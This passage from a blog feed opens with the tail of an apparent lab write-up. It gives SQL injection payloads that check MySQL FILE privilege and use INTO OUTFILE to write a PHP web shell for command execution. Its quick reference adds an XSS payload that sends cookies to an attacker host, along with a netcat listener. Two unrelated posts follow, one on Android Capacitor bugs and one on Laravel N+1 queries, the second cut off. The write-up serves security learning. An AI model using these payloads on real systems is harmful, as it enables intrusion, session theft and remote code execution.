&lt;/ul&gt;




&lt;h2&gt;
  
  
  📍 Phase 3: The SQL Injection That Fought Back
&lt;/h2&gt;

&lt;p&gt;In the admin panel, I found &lt;code&gt;edit.php?id=1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Tested:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;admin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;edit&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Got a MySQL error. &lt;strong&gt;Injection confirmed.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The UNION Struggle
&lt;/h3&gt;

&lt;p&gt;I tried:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Got:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Notice: Trying to get property of non-object in /var/www/admin/edit.php on line 19
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That error meant: the query changed but PHP expected a row.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Force the original query to return nothing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The error disappeared. Numbers appeared on the page. &lt;strong&gt;UNION worked.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  🧠 Lesson Learned
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;non-object&lt;/code&gt; errors are actually GOOD — they mean you influenced the query.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;and 1=2&lt;/code&gt; to empty the original result set.&lt;/li&gt;
&lt;li&gt;Find which columns display on the page (2 and 3 usually).&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  📍 Phase 4: The FILE Privilege Gamble
&lt;/h2&gt;

&lt;p&gt;I checked the current user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output: &lt;code&gt;root@localhost&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then checked FILE privilege:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;file_priv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'root'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output: &lt;code&gt;Y&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Game on.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  🧠 Lesson Learned
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;root@localhost&lt;/code&gt; in MySQL often has FILE privilege.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;file_priv = Y&lt;/code&gt; means you can read/write files on the server.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  📍 Phase 5: Finding Where To Write
&lt;/h2&gt;

&lt;p&gt;I tried writing a test file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;OUTFILE&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/css/test.txt'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Got the &lt;code&gt;non-object&lt;/code&gt; error again — but the file was still created.&lt;/p&gt;

&lt;p&gt;Visited:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://[VM_IP]/css/test.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Saw &lt;code&gt;1 2 3 4&lt;/code&gt; on the page.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Directory confirmed writable.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  🧠 Lesson Learned
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;INTO OUTFILE&lt;/code&gt; causes PHP errors but still writes the file.&lt;/li&gt;
&lt;li&gt;Always check if the file exists via browser.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/var/www/css/&lt;/code&gt; was the magic path in this lab.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  📍 Phase 6: Deploying The Web Shell
&lt;/h2&gt;

&lt;p&gt;Final payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;?php system($_GET["cmd"]); ?&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;OUTFILE&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/css/shell.php'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;URL-encoded:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="k"&gt;C&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;Fphp&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="k"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="n"&gt;_GET&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;OUTFILE&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/css/shell.php'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then visited:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://[VM_IP]/css/shell.php?cmd=whoami
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The page returned:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1 2 www-data 4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Remote code execution achieved.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  🧠 Lesson Learned
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Web shells are simple: &lt;code&gt;system($_GET["cmd"])&lt;/code&gt; is enough.&lt;/li&gt;
&lt;li&gt;URL-encode special characters in your SQL payloads.&lt;/li&gt;
&lt;li&gt;Test with &lt;code&gt;whoami&lt;/code&gt; or &lt;code&gt;id&lt;/code&gt; first.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🏁 Epilogue: What I Learned
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Phase&lt;/th&gt;
&lt;th&gt;Key Takeaway&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;XSS&lt;/td&gt;
&lt;td&gt;Always run your listener before injecting. The bot doesn't wait.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Session Hijacking&lt;/td&gt;
&lt;td&gt;Stolen cookies = instant admin access.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQL Injection&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;and 1=2&lt;/code&gt; is your best friend for UNION attacks.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FILE Privilege&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;root@localhost&lt;/code&gt; often means file write access.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web Shell&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/var/www/css/&lt;/code&gt; was writable — always check common web directories.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  📝 Quick Reference Commands
&lt;/h2&gt;

&lt;h3&gt;
  
  
  XSS Payload (stored in comment)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;"fetch('http://YOUR_IP:80/?'+document.cookie)"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Listener
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Check current user
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Check FILE privilege
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;file_priv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'root'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Write test file
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;OUTFILE&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/css/test.txt'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Write web shell
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;?php system($_GET["cmd"]); ?&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;OUTFILE&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/css/shell.php'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Execute command
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://[VM_IP]/css/shell.php?cmd=whoami
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🎯 Final Thoughts
&lt;/h2&gt;

&lt;p&gt;This lab taught me that hacking isn't about knowing all the answers.&lt;/p&gt;

&lt;p&gt;It's about:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reading error messages carefully&lt;/li&gt;
&lt;li&gt;Being patient (the bot visits every minute, not every second)&lt;/li&gt;
&lt;li&gt;Trying things even when I'm not sure&lt;/li&gt;
&lt;li&gt;Not quitting when I get &lt;code&gt;non-object&lt;/code&gt; errors for the 10th time&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you're stuck on this lab — keep going. The breakthrough is one payload away.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Now go break something else.&lt;/strong&gt; 🔥&lt;/p&gt;




</description>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Debugging Android Backdrop Persistence: A Capacitor Story</title>
      <dc:creator>ekko1500</dc:creator>
      <pubDate>Mon, 30 Mar 2026 16:39:01 +0000</pubDate>
      <link>https://dev.to/ekko1500/debugging-android-backdrop-persistence-a-capacitor-story-10o5</link>
      <guid>https://dev.to/ekko1500/debugging-android-backdrop-persistence-a-capacitor-story-10o5</guid>
      <description>&lt;p&gt;Porting a complex React app like Scratch-GUI to mobile using Capacitor can surface bugs that don't appear on desktop. Recently, we fixed a frustrating issue: backdrop edits (drawings and erasures) weren't saving in &lt;code&gt;.sb3&lt;/code&gt; files on Android.&lt;/p&gt;

&lt;p&gt;Here's what went wrong and how we fixed it.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. The Main Problem: Edits Weren't Saving
&lt;/h3&gt;

&lt;p&gt;Two issues caused backdrop changes to disappear when saving.&lt;/p&gt;

&lt;h4&gt;
  
  
  A. Storage Configuration Typo
&lt;/h4&gt;

&lt;p&gt;In &lt;code&gt;storage.js&lt;/code&gt;, we had a typo in the asset storage config. It was trying to use invalid "create" and "update" helpers, triggering failed network requests in the Capacitor environment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Corrected the typo and simplified &lt;code&gt;addWebStore&lt;/code&gt; to only use the GET helper for local assets.&lt;/p&gt;

&lt;h4&gt;
  
  
  B. Save Button Didn't Commit Pending Edits
&lt;/h4&gt;

&lt;p&gt;The Paint Editor (from scratch-paint) normally saves changes when you click away from the canvas. On Android, clicking the "Save" button didn't trigger that "focus lost" event, so the latest drawing wasn't being saved.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Added a manual sync step before saving — calling &lt;code&gt;document.activeElement.blur()&lt;/code&gt; and waiting 100ms to ensure all edits were committed.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. The reader.addEventListener Error
&lt;/h3&gt;

&lt;p&gt;We hit a strange error: &lt;code&gt;TypeError: reader.addEventListener is not a function&lt;/code&gt; — and it only appeared on Android.&lt;/p&gt;

&lt;p&gt;It turns out that in some environments, &lt;code&gt;FileReader&lt;/code&gt; doesn't fully support &lt;code&gt;addEventListener&lt;/code&gt;. It only has &lt;code&gt;onload&lt;/code&gt; and &lt;code&gt;onerror&lt;/code&gt; callbacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Added a lightweight polyfill at app startup that adds &lt;code&gt;addEventListener&lt;/code&gt; support to &lt;code&gt;FileReader.prototype&lt;/code&gt;, mapping it to the existing handler properties.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Canvas Performance Warning
&lt;/h3&gt;

&lt;p&gt;Android's WebView kept showing this warning:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Canvas2D: Multiple readback operations using getImageData are faster with the willReadFrequently attribute set to true.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This happens when the canvas is read often — like in Scratch's "touching color" blocks and paint editor fill tools.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Updated all &lt;code&gt;getContext('2d')&lt;/code&gt; calls (in the loupe, video provider, and costume display) to include &lt;code&gt;{ willReadFrequently: true }&lt;/code&gt;. This tells the browser to optimize for frequent reads, making things much faster.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Touch Scrolling Felt Laggy
&lt;/h3&gt;

&lt;p&gt;Chrome and WebView warn when non-passive event listeners are used on scroll-blocking events like &lt;code&gt;touchstart&lt;/code&gt;. This can make scrolling feel sluggish.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Updated global touch handlers to use &lt;code&gt;{ passive: true }&lt;/code&gt;, letting the browser scroll immediately without waiting for JavaScript.&lt;/p&gt;




&lt;h3&gt;
  
  
  What We Learned
&lt;/h3&gt;

&lt;p&gt;Cross-platform development isn't just about writing code — it's about understanding the subtle differences in runtime environments. A standard browser API like &lt;code&gt;FileReader&lt;/code&gt; or Canvas2D can behave slightly differently in a WebView than in a desktop browser, and those differences can cause major issues in complex apps.&lt;/p&gt;

&lt;p&gt;Key takeaway: Make sure your "save" logic works reliably across all input types (touch, mouse, keyboard), and don't hesitate to polyfill environment gaps to keep your libraries happy.&lt;/p&gt;




</description>
      <category>android</category>
      <category>javascript</category>
      <category>mobile</category>
      <category>react</category>
    </item>
    <item>
      <title>How I Solved Slow Page Loading Using the N+1 Query Fix (React + Laravel)</title>
      <dc:creator>ekko1500</dc:creator>
      <pubDate>Mon, 30 Mar 2026 06:24:46 +0000</pubDate>
      <link>https://dev.to/ekko1500/how-i-solved-slow-page-loading-using-the-n1-query-fix-react-laravel-5g92</link>
      <guid>https://dev.to/ekko1500/how-i-solved-slow-page-loading-using-the-n1-query-fix-react-laravel-5g92</guid>
      <description>&lt;p&gt;When I first built my React + Laravel application, everything worked fine—until the data started growing.&lt;/p&gt;

&lt;p&gt;Pages that used to load instantly began taking seconds. Then even longer.&lt;/p&gt;

&lt;p&gt;At first, I thought it was a frontend issue. Maybe React was re-rendering too much. Maybe my components weren’t optimized.&lt;/p&gt;

&lt;p&gt;I was wrong.&lt;/p&gt;

&lt;p&gt;The real problem was happening in the backend—and it had a name: the &lt;strong&gt;N+1 query problem&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem I Didn’t See at First
&lt;/h2&gt;

&lt;p&gt;Let’s say I had something like this in my Laravel backend:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A list of students&lt;/li&gt;
&lt;li&gt;Each student has marks&lt;/li&gt;
&lt;li&gt;Each mark belongs to a subject&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Simple, right?&lt;/p&gt;

&lt;p&gt;But here’s what actually happened when I fetched data:&lt;/p&gt;

&lt;p&gt;1 query to get students&lt;br&gt;
Then &lt;strong&gt;N queries&lt;/strong&gt; to get each student's related data&lt;/p&gt;

&lt;p&gt;So if I had 100 students, I was running:&lt;br&gt;
👉 &lt;strong&gt;101 queries&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That’s the N+1 problem.&lt;/p&gt;

&lt;p&gt;And it destroyed performance.&lt;/p&gt;


&lt;h2&gt;
  
  
  How I Discovered It
&lt;/h2&gt;

&lt;p&gt;I started debugging the backend and noticed something strange:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The API response time was slow&lt;/li&gt;
&lt;li&gt;Database queries were increasing with data size&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So I used Laravel debugging tools and logs.&lt;/p&gt;

&lt;p&gt;That’s when I saw it clearly:&lt;br&gt;
👉 Queries were being executed inside loops&lt;/p&gt;

&lt;p&gt;That’s the moment it clicked.&lt;/p&gt;


&lt;h2&gt;
  
  
  The Fix: Eager Loading
&lt;/h2&gt;

&lt;p&gt;Laravel already has a solution for this: &lt;strong&gt;Eager Loading&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Instead of fetching related data one-by-one, I loaded everything in a single query.&lt;/p&gt;
